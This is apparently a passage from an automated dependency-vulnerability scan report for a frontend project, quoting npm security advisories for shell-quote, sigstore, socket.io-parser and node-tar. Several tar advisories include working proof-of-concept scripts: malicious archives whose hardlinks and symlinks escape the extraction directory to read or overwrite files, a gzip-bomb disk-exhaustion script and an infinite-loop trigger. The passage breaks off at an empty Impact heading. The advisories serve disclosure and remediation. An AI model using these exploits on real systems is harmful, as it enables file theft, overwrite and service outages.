with **one** `POST` of `'x '.repeat(32000)` (~63 KB), froze for ~4.5 s. An out-of-process probe
client issuing harmless `GET /ping` requests (normally ~1 ms) observed **27 consecutive pings
stalled by up to 4374 ms** during that single request — i.e. every concurrent client was denied
service for the whole parse. Scaling the body to a few hundred KB extends the outage to minutes.

This is the same class as several accepted 2026 advisories for quadratic-parser DoS on
untrusted input (e.g. markdown-it CVE-2026-48988, js-yaml CVE-2026-53550,
python-multipart CVE-2026-53539). It is **distinct** from the known `shell-quote`
command-injection issues (CVE-2021-42740, CVE-2016-10541, CVE-2026-9277), which are all in
`quote()`, not `parse()`.

### Suggested remediation
Replace the O(n²) concat-in-reduce with a linear flatten that **pushes into the
accumulator** instead of reallocating and copying it on every iteration. Apply the
same shape to the wrapper's `acc.concat(s)` reduce. A defensive input-length cap on
`parse()` is a cheap additional stop-gap.

> **Maintainer note (edit):** the originally-suggested `Array.prototype.flat()` is
> ES2019 / Node 11+, but `shell-quote` declares `engines: node >= 0.4`, so `.flat()`
> would silently drop support for older runtimes. The fix instead flattens one-level
> array tokens with `forEach`/`push` — and deliberately not `push.apply(...)`, since
> spreading a large array into function arguments can exceed the engine's argument
> count limit. Output is byte-identical to the current code across strings, `undefined`
> holes, one-level array tokens, and `{op}`/`{comment}`/`{op:'glob'}` objects, and
> finalizing is now linear (1,024,000 tokens in ~150 ms vs ~57 s for 128,000 before).
> Thanks for the clear report and PoC — the analysis and reproduction were spot on.

### Disclosure
Found by source audit + wall-clock confirmation against 1.8.4 (and verified the same code is
present on `main`). Reported privately here; no public disclosure until a fix is available.
CWE-407 Inefficient Algorithmic Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:shell-quote:\<\=1.8.4:*:*:*:*:*:*:*

sigstore:2.3.1

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?sigstore

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/sigstore@2.3.1  (Confidence:Highest)

GHSA-52v5-jr5w-gjxr (NPM)  

### Summary

The documented `certificateOIDs` option in `sigstore.verify()` is accepted by the public API but discarded before verification, so required certificate extension OIDs are never checked.

### Details

The public verify options include `certificateOIDs` and the documentation says those OID/value pairs “must be present in the certificate’s extension list.” The policy-construction path used by `sigstore.verify()` and `createVerifier()` only copies the SAN and issuer settings into the verification policy and completely ignores `certificateOIDs`.

As a result, callers can believe they are constraining verification to certificates carrying specific Fulcio or workload-identifying OIDs, while the actual verifier never receives those constraints. Any bundle that satisfies the remaining checks is accepted even if the required OID extensions are absent or mismatched.

This is reachable from supported usage through the documented `certificateOIDs` verify option.

### PoC

```javascript
const { createVerificationPolicy } = require("sigstore/dist/config");

const policy = createVerificationPolicy({
  certificateIssuer: "https://issuer.example",
  certificateIdentityEmail: "victim@example.com",
  certificateOIDs: {
    "1.2.3.4": "required-value",
  },
});

console.log("certificateOIDs" in policy, JSON.stringify(policy));
// false {"subjectAlternativeName":"victim@example.com","extensions":{"issuer":"https://issuer.example"}}
```

### Impact

Applications that rely on `certificateOIDs` to restrict which certificates may sign artifacts receive no such protection. Unauthorized certificates that should be rejected on extension policy can be accepted as long as they satisfy the remaining verification checks.
CWE-347 Improper Verification of Cryptographic Signature

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:sigstore:\<\=4.1.0:*:*:*:*:*:*:*

socket.io-parser:4.2.5

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?socket.io-parser

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/socket.io-parser@4.2.5  (Confidence:Highest)

GHSA-2m8v-j782-fhvr (NPM)  

### Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

### Patches

| Version range    | Used by                                    | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.7` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.7`       |
| `>=3.4.0 <3.4.5` | `socket.io@2.x`                            | `3.4.5`       |
| `<3.3.6`         | `socket.io-client@2.x`                     | `3.3.6`       |

### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)
CWE-754 Improper Check for Unusual or Exceptional Conditions, CWE-20 Improper Input Validation

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:socket.io-parser:\>\=4.0.0\<4.2.7:*:*:*:*:*:*:*

GHSA-677m-j7p3-52f9 (NPM)  

### Impact

A specially crafted Socket.IO packet can make the server wait for a large number of binary attachments and buffer them, which can be exploited to make the server run out of memory.

### Patches

| Version range    | Used by                                    | Fixed version |
|------------------|--------------------------------------------|---------------|
| `>=4.0.0 <4.2.6` | `socket.io@4.x` and `socket.io-client@4.x` | `4.2.6`       |
| `>=3.4.0 <3.4.4` | `socket.io@2.x`                            | `3.4.4`       |
| `<3.3.5`         | `socket.io-client@2.x`                     | `3.3.5`       |

### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)
CWE-754 Improper Check for Unusual or Exceptional Conditions

Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:socket.io-parser:\>\=4.0.0\<4.2.6:*:*:*:*:*:*:*

static-config.js

File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/static-config.js
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Identifiers

  • None

static-config.js

File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/dev/static-config.js
MD5: 62b7e80d9134a8ee5788ac652ac9f8d7
SHA1: 54fcf9c96e56ebbb55a4deabddc151e56ff6ceeb
SHA256:3e48f28be9b18eb4ad11c24fe3530f2723ef0277b80000bc2c62ad91011474ec

Identifiers

  • None

static-config.js

File Path: /builds/pub/numeco/misis/misis-frontend/src/environments/prod/static-config.js
MD5: ddbf4a72b50a5e5caacfc3f7cd13cddc
SHA1: 7c09b64f05b54c626c77e65fce405acb0299bdf5
SHA256:4c19ade5d5a370479f980d8fec6dd892b9fa29d3912a04fb67b972b3f3dcf980

Identifiers

  • None

tar:6.2.1

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?tar

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/tar@6.2.1  (Confidence:Highest)

GHSA-r6q2-hw4h-h46w (NPM)  

**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

**AUTHOR**: Tomás Illuminati

### Details

A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

```typescript
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })

```

In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example:

``````bash
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 
``````

---

### PoC

``````javascript
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});

``````

---

### Impact
This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.

---

### Remediation

Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`.

Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

---
CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition, CWE-176 Improper Handling of Unicode Encoding

CVSSv3:
  • Base Score: HIGH (8.800000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.3:*:*:*:*:*:*:*

GHSA-34x7-hfp2-rc4v (NPM)  

### Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

### Details
The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:

**Security check in `[STRIPABSOLUTEPATH]`:**
```javascript
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
```

**Hardlink creation in `[HARDLINK]`:**
```javascript
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
```

**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.

- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.

- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.

The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

### PoC
#### Setup

Create a new directory with these files:

```
poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)
```

**package.json**
```json
{ "dependencies": { "tar": "^7.5.0" } }
```

**secret.txt** (sensitive file outside uploads/)
```
DATABASE_PASSWORD=supersecret123
```

**server.js** (vulnerable file upload server)
```javascript
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
```

**create-malicious-tar.js** (attacker creates exploit TAR)
```javascript
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```

#### Run

```bash
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
```
### Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.

**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

### Remote Code Execution / Server Takeover

| Attack Vector | Target File | Result |
|--------------|-------------|--------|
| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |
| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |
| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |
| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |
| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |
| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |

## Data Exfiltration & Corruption

1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations
2. **Read sensitive files** by creating hardlinks that point outside extraction directory
3. **Corrupt databases** and application state
4. **Steal credentials** from config files, `.env`, secrets
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59 Improper Link Resolution Before File Access ('Link Following')

CVSSv3:
  • Base Score: HIGH (8.199999809265137)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<7.5.7:*:*:*:*:*:*:*

GHSA-23hp-3jrh-7fpw (NPM)  

### Summary
A **Decompression/parse DoS via unlimited input** vulnerability in `node-tar` allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services.

### Details
The `node-tar` library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the `maxReadSize` option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk.

Specifically, in `src/extract.ts`, the `Unpack` stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). `node-tar` will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption.

### PoC
The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly.

1. Create the exploit script:
```javascript
const fs = require('fs'), z = require('zlib'), t = require('tar');

const d = 'dos_test';
if (fs.existsSync(d)) fs.rmSync(d, {recursive:true});
fs.mkdirSync(d);

// Build 10GB header
const h = Buffer.alloc(512);
h.write('payload');
h.write((10*1024**3).toString(8).padStart(11,'0'), 124); 
h.write('ustar', 257);
let s = 256;
for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i];
h.write(s.toString(8).padStart(6,'0'), 148);

const gz = z.createGzip();
gz.pipe(t.x({cwd: d}));
gz.write(h);

const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed

const run = () => {
  while (gz.write(b));
  gz.once('drain', run);
};

const monitor = setInterval(() => {
    try {
        const bytes = fs.statSync(`${d}/payload`).size;
        const mb = Math.floor(bytes / (1024 * 1024));
        process.stdout.write(`\r[>] Extracted: ${mb} MB`);
        
        if (mb > 5000) { 
            console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); 
            process.exit(); 
        }
    } catch {}
}, 50);

process.on('exit', () => {
    clearInterval(monitor);
    console.log('[*] Cleaning up...');
    if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true});
});

run();
```

2. Run the PoC:
```bash
node poc.js
```

**Observation:** You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible.

### Impact
This is a **Denial of Service (DoS)** vulnerability. It impacts any application or service that uses `node-tar` to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages.
CWE-770 Allocation of Resources Without Limits or Throttling

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: critical

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.18:*:*:*:*:*:*:*

GHSA-8x88-c5mf-7j5w (NPM)  

### Summary

A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service.

### Details

The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary.

Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation.

For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step.

This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception.

### PoC

Save as `poc.mjs` in a project with the vulnerable package installed and run:

```bash
node poc.mjs
```

```js
import fs from 'node:fs'
import os from 'node:os'
import path from 'node:path'
import { spawnSync } from 'node:child_process'

const oct = (b, n, off, len) =>
  b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii')

const badHeader = () => {
  const h = Buffer.alloc(512)

  h.write('x', 0)
  oct(h, 0o644, 100, 8)
  oct(h, 0, 108, 8)
  oct(h, 0, 116, 8)

  // base-256 encoded -512 in the size field
  Buffer.alloc(10, 0xff).copy(h, 124)
  h[134] = 0xfe
  h[135] = 0x00

  oct(h, 0, 136, 12)
  h.fill(0x20, 148, 156)
  h[156] = 0x30
  h.write('ustar\0' + '00', 257, 8, 'binary')

  let sum = 0
  for (const c of h) sum += c
  h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii')

  return h
}

const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-'))
const file = path.join(dir, 'poc.tar')

fs.writeFileSync(file, badHeader())
fs.writeFileSync(path.join(dir, 'add.txt'), 'x')

const r = spawnSync(
  process.execPath,
  [
    '--input-type=module',
    '-e',
    `
      import * as tar from 'tar'
      tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt'])
      console.log('completed')
    `,
  ],
  { timeout: 20_000 }
)

console.log(r.error?.code === 'ETIMEDOUT')

// Output: true
```

### Impact

An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding.
CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<\=7.5.17:*:*:*:*:*:*:*

GHSA-83g3-92jg-28cx (NPM)  

### Summary
`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.

This enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).

Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.

### Details
The bypass chain uses two symlinks plus one hardlink:

1. `a/b/c/up -> ../..`
2. `a/b/escape -> c/up/../..`
3. `exfil` (hardlink) -> `a/b/escape/<target-relative-to-parent-of-extract>`

Why this works:

- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
  - See `STRIPABSOLUTEPATH` logic in:
    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`
    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`
    - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`

- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`

- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`
  - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`

As a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.

### PoC
[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)
Environment used for validation:

- Node: `v25.4.0`
- tar: `7.5.7`
- OS: macOS Darwin 25.2.0
- Extract options: defaults (`tar.extract({ file, cwd })`)

Steps:

1. Prepare/locate a `tar` module. If `require('tar')` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.

2. Run:

```bash
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
```

3. Expected vulnerable output (key lines):

```text
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
```

Interpretation:

- `same_inode=true`: extracted `exfil` and external secret are the same file object.
- `read_ok=true`: reading `exfil` leaks external content.
- `write_ok=true`: writing `exfil` modifies external file.

### Impact
Vulnerability type:

- Arbitrary file read/write via archive extraction path confusion and link resolution.

Who is impacted:

- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.
- Impact scope is the privileges of the extracting process user.

Potential outcomes:

- Read sensitive files reachable by the process user.
- Overwrite writable files outside extraction root.
- Escalate impact depending on deployment context (keys, configs, scripts, app data).
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSSv3:
  • Base Score: HIGH (7.099999904632568)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:tar:\<7.5.8:*:*:*:*:*:*:*

GHSA-8qq5-rm4j-mr97 (NPM)  

### Summary

The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.

### Details

The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.

**1. Hardlink Escape (Arbitrary File Overwrite)**

The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

**2. Symlink Poisoning**

The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.

### PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

```

### Impact

